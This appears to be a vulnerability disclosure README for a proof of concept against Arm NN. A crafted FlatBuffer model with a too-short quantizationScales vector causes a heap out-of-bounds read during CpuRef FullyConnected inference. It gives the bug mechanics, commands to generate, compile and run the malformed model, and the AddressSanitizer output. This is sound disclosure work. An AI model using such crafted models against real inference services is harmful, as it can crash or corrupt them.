YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Arm NN FlatBuffers short per-axis quantizationScales OOB read PoC
Summary
A crafted Arm NN FlatBuffer model uses a QSymmS8 FullyConnected weight tensor with quantizationDim=1 and a quantizationScales vector shorter than the selected axis dimension. Arm NN accepts the model through deserialization, optimization, and network loading without error. During CpuRef FullyConnected inference, QSymm8PerAxisDecoder::GetScale() reads past the end of the scale vector. AddressSanitizer reports a heap-buffer-overflow.
Target
- Project: ARM-software/armnn
- Commit tested:
f8beb5a9d50451dd06c804d6f7bbf8832f958125 - Backend tested: CpuRef
- Build tested: ASAN/UBSAN Debug
- File format: Arm NN FlatBuffers serialized graph
PoC files
| File | Description |
|---|---|
generate_armnn_quant_scale_short_oob.py |
Python script that writes the benign (seed) and mutated JSON model definitions |
runtime_harness.cpp |
C++ harness that loads an .armnn model and runs deserialization, Optimize, LoadNetwork, and EnqueueWorkload |
CMakeLists.txt |
CMake build configuration for the runtime harness |
seed_quantized_model.json |
Benign minimal QSymmS8 FullyConnected model (FlatBuffers JSON) |
seed_quantized_model.armnn |
Benign model compiled to Arm NN FlatBuffer binary |
mut_quant_scale_short.json |
Mutated model with short quantizationScales vector (FlatBuffers JSON) |
mut_quant_scale_short.armnn |
Mutated model compiled to Arm NN FlatBuffer binary |
asan_full.log |
ASAN determinism log from three consecutive runs |
release_behavior.log |
Non-ASAN Release build behavior log |
SHA256SUMS.txt |
SHA256 hashes of all package files |
Vulnerability mechanics
The PoC constructs a minimal FullyConnected graph with a QSymmS8 weight tensor:
- Weight tensor shape:
[3, 2] quantizationDim:1- Benign
quantizationScales:[0.25, 0.5](length 2, matchingshape[1]) - Mutated
quantizationScales:[0.25](length 1, shorter thanshape[1])
The expected invariant is:
quantizationScales.size() == tensor.shape[quantizationDim]
For the mutated model:
shape = [3, 2]
quantizationDim = 1
tensor.shape[quantizationDim] = 2
quantizationScales.size() = 1 <-- violation
This invariant is not enforced during deserialization (Deserializer::ToTensorInfo()), TensorInfo construction, or workload validation. At inference time, QSymm8PerAxisDecoder::GetScale() in BaseIterator.hpp indexes m_Scales[m_AxisIndex] where m_AxisIndex can equal 1, but the scale vector only has 1 element (index 0). This triggers a heap out-of-bounds read.
Build requirements
- CMake >= 3.16
- C++17 compiler
- FlatBuffers (
flatcbinary and development headers) - Arm NN built from source at commit
f8beb5a9d50451dd06c804d6f7bbf8832f958125with:BUILD_ARMNN_DESERIALIZER=ONBUILD_ARMNN_SERIALIZER=ONARMNNREF=ON(CpuRef backend)- ASAN/UBSAN enabled (
-fsanitize=address,undefined) CMAKE_BUILD_TYPE=Debug
Use placeholders below:
<ARMNN_SOURCE_DIR>โ path to the Arm NN source checkout<ARMNN_BUILD_DIR>โ path to the Arm NN ASAN Debug build directory<POC_DIR>โ path to this PoC package
Reproduction
1. Generate JSON model definitions
cd <POC_DIR>
python3 generate_armnn_quant_scale_short_oob.py
This writes seed_quantized_model.json and mut_quant_scale_short.json.
2. Compile JSON to Arm NN FlatBuffer binaries
cd <POC_DIR>
flatc -b --raw-binary -o . \
<ARMNN_SOURCE_DIR>/src/armnnSerializer/ArmnnSchema.fbs \
seed_quantized_model.json
flatc -b --raw-binary -o . \
<ARMNN_SOURCE_DIR>/src/armnnSerializer/ArmnnSchema.fbs \
mut_quant_scale_short.json
3. Build the runtime harness
cmake -S <POC_DIR> -B <POC_DIR>/build \
-DARMNN_BUILD_DIR=<ARMNN_BUILD_DIR> \
-DENABLE_SANITIZERS=ON \
-DCMAKE_BUILD_TYPE=Debug
cmake --build <POC_DIR>/build -j
4. Run the seed model (expected: clean inference)
<POC_DIR>/build/runtime_harness \
<POC_DIR>/seed_quantized_model.armnn \
<ARMNN_BUILD_DIR>/src/backends/dynamic/reference
5. Run the mutated model (expected: ASAN heap-buffer-overflow)
<POC_DIR>/build/runtime_harness \
<POC_DIR>/mut_quant_scale_short.armnn \
<ARMNN_BUILD_DIR>/src/backends/dynamic/reference
Expected result
Seed model
DESERIALIZE_ACCEPTED bytes=708
OPTIMIZE_ACCEPTED
LOADNETWORK_ACCEPTED id=0
INFERENCE_ACCEPTED output_elements=2 values=1,2
Mutated model
DESERIALIZE_ACCEPTED bytes=712
OPTIMIZE_ACCEPTED
LOADNETWORK_ACCEPTED id=0
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4
armnn::QSymm8PerAxisDecoder::GetScale() const BaseIterator.hpp:810
SUMMARY: AddressSanitizer: heap-buffer-overflow BaseIterator.hpp:810 in armnn::QSymm8PerAxisDecoder::GetScale() const
ASAN stack trace:
QSymm8PerAxisDecoder::GetScale() BaseIterator.hpp:810
QSymm8PerAxisDecoder::DecodeTensor() BaseIterator.hpp:822
FullyConnected() FullyConnected.cpp:28
RefFullyConnectedWorkload::Execute() RefFullyConnectedWorkload.cpp:57
IRuntime::EnqueueWorkload() Runtime.cpp:110
main runtime_harness.cpp:88
Three consecutive ASAN runs all produce the same stack signature and address relationship:
0x602000002c54 is located 0 bytes after 4-byte region [0x602000002c50,0x602000002c54)
Release behavior
A non-ASAN Release build was also tested. The seed model produces the expected output (values=1,2). The mutated model terminates cleanly but produces divergent output (values=1,0).
This release behavior is secondary evidence only. The divergent output is consistent with undefined behavior caused by the out-of-bounds read, but the primary claim of this PoC is the ASAN-confirmed heap out-of-bounds read in the CpuRef FullyConnected inference path.
Non-claims
- This PoC does not demonstrate code execution.
- This PoC does not demonstrate disclosure of memory contents.
- This PoC does not claim coverage across every Arm NN backend; only CpuRef was tested.
- This PoC does not claim a universal model format scanner bypass.
- The primary evidence is an ASAN-confirmed heap out-of-bounds read in the CpuRef FullyConnected inference path triggered by a crafted Arm NN FlatBuffer model file.
SHA256
See SHA256SUMS.txt for hashes of all package files.